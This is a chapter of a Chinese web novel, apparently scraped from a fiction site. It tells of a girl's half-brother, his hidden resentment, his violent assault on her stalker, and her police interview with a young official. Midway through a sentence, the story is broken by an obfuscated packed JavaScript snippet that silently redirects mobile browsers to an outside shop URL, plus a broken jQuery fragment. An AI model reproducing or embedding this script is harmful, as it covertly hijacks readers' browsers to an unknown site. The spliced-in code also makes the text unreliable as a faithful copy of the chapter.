文趣网 > 都市小说 > 路人甲每天都在修罗场 > 12. 执政官
    八岁那年,池菱被送去学跆拳道。

    那个时候温芃就已经显露出令人讨厌的跟屁虫本性,第一天,只是问姐姐为什么放学还没回家,第二天,池菱就在同一个跆拳道班看到了他。

    或许因为年龄偏小,或许因为曾经营养不良,温芃是班里身高最矮的孩子。

    轻而易举就成为了其他孩子排挤取笑的目标。

    往往,孩子之间,未经驯化的恶意更加赤裸。

    可疑的端倪浮出水面,只能远远观望着,看到的却是温芃干净而纯良的笑容,稚嫩的童声里也充满着天真。

    所以哪怕是亲姐姐,池菱也没有察觉到这些天生的恶意。

    她每天只想着要怎么把动作做得标准,怎么在最后考核中获得第一名,然后得到妈妈的认可。

    直到某天,发现温芃稚嫩的肌肤上多出青紫,池菱才知道,他可能被人欺负了。

    按理来说,她应该直接告诉妈妈。

    可是妈妈从来不会管这些事。

    从小,她就告诉他们,自己的事情自己解决,学会为自己的选择负责,而不是习惯向别人求助。

    听话的池菱只能自己想办法解决。

    尽管她不太愿意管这个弟弟。

    “笃笃——”

    那一天晚餐过后,池菱敲响了温芃房间的门。

    温芃开了门,唇红齿白的男孩漂亮得像个瓷娃娃,见到来人的那瞬,露出了惊喜的表情。

    他握住池菱的手腕,说出甜蜜而黏腻的话:“姐姐,你是来找小芃的吗?小芃很开心。”

    温芃笑得温顺乖巧,拉着姐姐的手进了门。

    但只有他自己知道,他这样做,并不是出于对姐姐的亲昵或者爱。

    恰恰相反。

    温芃忮忌着池菱的一切。

    从第一次见到她的那天开始。

    那天天光和煦,似乎连风都是甜美的,温芃终于离开过去那个阴暗的住所,被母亲派人接回了温家的庄园。

    偌大的宅邸花木交错,他一时迷失方向,不小心闯入了后花园。

    他从来没有见过这么漂亮的地方。

    也从没见过这么漂亮的人。

    花园里,池菱穿着带纱的蓬裙,乌发扎成两个短短的马尾,看起来像只花丛中的白蝴蝶。

    突然闯入的温芃不知所措,定定站在那里看了她许久。

    那一定是他的姐姐。

    母亲跟她说过的,他还有个姐姐。

    温芃的心中生出巨大欣喜。

    然后,听见他的姐姐问——

    “你是新来的佣人吗?”

    佣人。

    短短一句话,掐断了温芃所有的雀跃。

    温芃的脸色愈发苍白,却仍然强撑着,牵起唇笑了下。

    “姐姐,我叫温芃。”

    他几乎听不到自己的声音。

    只是突然觉得,纵使穿上了名贵的新衣,站在她的面前,却依然卑劣、局促、一无所有。

    如同脚底的尘土。

    那不是他的姐姐吗?

    温芃想,明明他们身上都流淌着同样的鲜血,凭什么只有他的是肮脏的?

    他的心中升起了恨意。

    而且随着日子一天天过去,这种恨意越来越强烈。

    因为池菱对他很好。

    她阳光,开朗,善良。什么都不用做,只是站在那里,就能得到所有人的喜欢。

    和温芃几乎完全相反,是他无论如何伪装也装不出来的模样。

    甚至在五岁之前,他都不能回到温家,和将他当做筹码的父亲生活在一起时,常年忍受的是谩骂和饥饿。

    如今终于有人爱他。

    但不平等的爱,比没有爱更令人痛苦。

    温芃学会并热衷于讨好池菱。

    靠着依附姐姐,才能在温家站稳脚跟,博取母亲一丝侧目。

    可无论他怎么做,池菱对他的态度,始终和其他佣人的孩子无异。

    很好。

    毫无差别的好。

    他恨池菱,恨她的笑容,恨不得掐着她粉腻腻的脸,逼她承认自己是她的弟弟。

    仿佛能和她血脉相连,就能够成为她人生污点这件事,让温芃感到莫大的快慰。

    思绪纷乱间,温芃手上力度不自觉加重。

    他的手因为冷汗而黏糊糊的,攥得池菱的手腕生疼。

    雨也突然下了起来。

    天地霏雨,隐有雷声。

    “温芃,你是不是被人欺负了。”

    池菱的声音掺杂在雨声里。

    窗外是浓重的墨,温芃凝着池菱的脸,若有所思了几秒。

    或许不止几秒。

    在一道雷落下的瞬间,他重新扬起无害的笑脸:

    “没有,姐姐,小芃过得很好,没有被——”

    “温芃。”池菱突然打断他的话,她的眸中含着怒火,却显得愈发明亮动人:“为什么你总是这样,总是什么都不说,只知道一味地忍耐,假装什么都没有发生?我真的很讨厌你。”

    她像是在训斥他。

    温芃从来没有见过池菱用这种语气说话,怔愣片刻后,也认真思考起来。

    为什么什么都不说?

    为什么呢?

    他不知道答案,他也很困惑。

    佣人偷走他项链的时候,他没有说,只是转头把妈妈的法案草稿放在那个佣人的房间,让他以一级罪名进了监狱。

    姐姐和那个姓陆的还有表姐一起玩的时候,他也想和姐姐玩,但他没有说,只是在远处看着,幻想能够将她身边的人推进湖里。

    被人锁进又黑又小的屋子里,被骂是个私生子的时候,他依然没有说,更没有还手,只是打算明天在他们的餐包里面下老鼠药。

    他应该说吗,不,他不能说。

    温芃确信自己的缄默是正确的。

    “小芃,你不能就这样被人欺负。”池菱语气软下来,抬起双手捧着温芃的脸,似乎也变得黏糊糊的:“你可以还手,可以告诉我,我是你姐姐,我会保护你。”

    姐姐。

    混沌之中,温芃只听到了这两个字。

    他的眼眶模糊,这时,才惊觉自己的脸颊上满是冰冷的泪水,冷到有些麻木。

    细雨连绵的雨夜中,温芃躺在熟睡的姐姐身边,终于没有那么冷。

    他凝着那张相似的脸,沉默的视线几乎整晚存在。

    没有人知道,那个深夜他到底在想什么。

    但在天亮之前。

    温芃突然决定不恨她了。

    因为他天真的姐姐,未必不比他可怜。

    次日,直到跆拳道课结束,温芃都没有像计划中的那样下老鼠药,他叮嘱姐姐让她先回家后,笑着应下某个男生的玩耍邀约。

    他们到了天台。

    这次,在对方即将动手之前,温芃已经攥紧了拳头,猝不及防地扑上去,和人扭打在一起。

    单薄的身体爆发出惊人的力量。

    直到那个男生满脸血肉模糊,气息奄奄地瘫倒在地。

    温芃抬起头,看到的是姐姐惊恐的脸。

    就像现在这样。

    尾随池菱的人被砸得头破血流,倒在血泊中。

    温芃却仍觉得不够,手上动作一下比一下重。

    此时的他已经不再似当年那样瘦弱,力气也大得惊人,苍白的脸颊和制服上都沾着血污,瞳孔难以抑制地扩散,几乎听不见任何声音。

    “温芃,住手,再这样下去会出人命的!”

    “温芃!”

    池菱猛地攥住温芃结实的上臂,比起害怕,眼中更多的是愤怒。

    “咚——”

    石头掉落在地,在血泊上骨碌碌地滚了几圈,彻底染成红色。

    “姐姐。”

    温芃停下动作,涣散的眼神慢慢收拢聚焦,沉沉地看向池菱,第一反应是笑着喊她。

    天真懵懂的声音,似乎不知道自己刚刚做了什么。

    但池菱知道。

    她后退半步,四肢的冷意几乎让血液凝固,无法确认倒在地上的人是死是活。

    温芃突然歪头看她,若有所思问道:“姐姐,你要报警吗?”

    池菱手上的终端停留在报警页面。

    她应该报警。

    但那是她的弟弟。

    他做的一切,都是为了保护她。

    若是闹出人命,温芃这辈子都会背负杀人犯的名号,妈妈不会容忍这种事情发生,她会毫不犹豫地抛弃他。

    而且这只是个游戏。

    哪怕人真的死了,也不过是被设定好的代码。

    一时之间,池菱不知道要怎么回答,也不知道要怎么做。

    “小芃。”

    良久,池菱上前一步,像小时候那样抬起手,掌心贴上他染血的脸颊:“别怕。”

    温芃看着她,眸光微动。

    “嘟嘟嘟——”

    池菱却当着他的面点下按键,接通了全息系统。

    她还是无法将这一切当做游戏。

    冷而密的雨下了起来,是这个秋天的第一场雨。

    雨痕从警车的车窗滑落。

    车窗内,温芃的头颅枕在池菱的肩膀,呈现出过分依赖的姿态,池菱眼睫轻颤,望着车窗外的雨,遗憾不能将车窗打开。

    两人沉默无言时,垂下的十指紧

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597000|205322||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    密相扣。

    黏连湿润的恶心触感,分不清是汗水、雨水,还是谁身上的血。

    直到下了车才松开。

    窗户开了条缝,潮湿的雨味道浓烈,池菱坐在审讯室里,胃里一阵反胃,几欲作呕。

    “曾用名……温池菱。”

    “你们是姐弟,对吗?”

    办案警员翻着池菱的档案问话,开口打破室内沉寂,她的问话声将池菱的目光吸引回来。

    池菱为自己的走神而抱歉,微笑着点了下头:“嗯。”

    为防止串供,她和温芃被分在两间审讯室。

    物证在面前的警员手上,她点开沾着血的终端,屏幕亮起,是池菱的照片。

    从便利店到回家的路上,都被人拍了下来。

    “结合你提交的现场全息录像,以及嫌疑人终端里的偷拍照片,我们基本能锁定对方跟踪骚扰的违法事实。”警员斟酌了一下,又继续道:“但鉴于你的弟弟存在防卫过当的嫌疑,且你的年龄还未满十八岁,我们仍需要联系你的监护人到场。”

    池菱从警员的话音中听出了疲惫。

    她垂眸,凝视着屏幕里的自己,不知道为什么事情会变成这样。

    原来不是爱豆也会有私生吗?

    池菱苦笑。

    她很意外自己还有心情开玩笑。

    大抵是因为孩童心性,而她恰好只是一个阅历浅显、目光局限、不知天高地厚的孩子。

    这个世界对孩子是多么不公平。

    这一刻,池菱比过去的任何时候都渴望过生日,可惜的是,她的生日在一月,还有四个月她才能摆脱未成年身份,走入的为成年人定制的杀猪盘。

    是的,原来她还只是个孩子啊。

    事到如今,想要摆平这一切,除了联系妈妈之外,她还能有什么选择呢?

    或许这样也好,很快,所有的闹剧都会结束,在母亲的安排下,她会重新回到温家,重新成为温池菱,然后——

    池菱疲惫地想,但很遗憾,跟天龙人们斗了一天后,此时她的内心居然平静得像水,什么都想不到了。

    不过这都不重要,反正她的想法也无足轻重,总而言之,她滑稽的叛逆期该结束了。

    就像妈妈说的那样,他们都应该学会为自己的选择负责,如果做不到,就要付出代价。

    池菱脸上浮现释然而澄澈的笑意,她将备注“妈妈”的电话从黑名单拉出,吸入一口湿润的冷风后,指尖悬在拨号键上。

    迟迟没有按下。

    突然,“咔嗒”一声轻响。

    审讯室的门被打开。

    一双长靴,带着潮湿的秋意踏了进来。

    视线往上,是制服包裹着的颀长双腿,劲瘦的腰腹,以及健壮宽阔的肩背,挺括的外套胸口处有个警章,垂下的金色链条晃了晃。

    如鹰隼般锐利的眼眸注视着池菱。

    池菱无端感到一丝冷意。

    原本坐着问话的警员立刻起身,满脸疲态一扫而光,转而肃穆道:“段执政官,您怎么亲自过来了?”

    身为执政官,男人看着不过二十五六岁,一副标准东方人面孔,英俊年轻得和职位格格不入。

    身上的威严却让池菱差点也想站起来。

    但她只是仰头看着对方。

    段成墨淡淡颔首,声线低沉冷硬:“碰巧路过,你先出去吧,我来跟池菱小姐聊。”

    警员巴不得提前结束工作,无心探究两人的关系,脚步匆匆地走出审讯室。

    段成墨拉过椅子,在池菱对面落座,慢条斯理摘下黑色皮质手套,朝她伸出手:“你好,我是段成墨。”

    雪松般的香味混合着雨水,幽幽地萦绕在空气中。

    池菱伸出手,很轻地与他相握,短短几瞬,却能明显感觉到男人粗糙的指腹,以及虎口处因长期握枪形成的茧。

    “长官。”池菱笑意很淡,眉眼间浮现出某种脆弱气质:“您是不是认识我?”

    段成墨笑着收回手,端详着池菱的脸,道:“不完全是。”

    “但我认识你的父亲,他曾给我们看过你初中时照片,向我们炫耀说自己的女儿很可爱。”

    话音落下,池菱漂亮的脸色却变得有些古怪,似乎在质疑男人话中真假。

    段成墨不明所以地被女孩注视着,良久,他听见她问:

    “叔叔,我爸爸是怎么死的?”

    池菱表情很是严肃,她思考得太认真,连自己为什么会在这里都快忘却。

    仿佛现在她才是警官,而被审问的人变成了段成墨似的。

    段成墨眉眼微扬,喉间溢出声轻笑:“想要套近乎的话,叫哥哥会不会更好些?”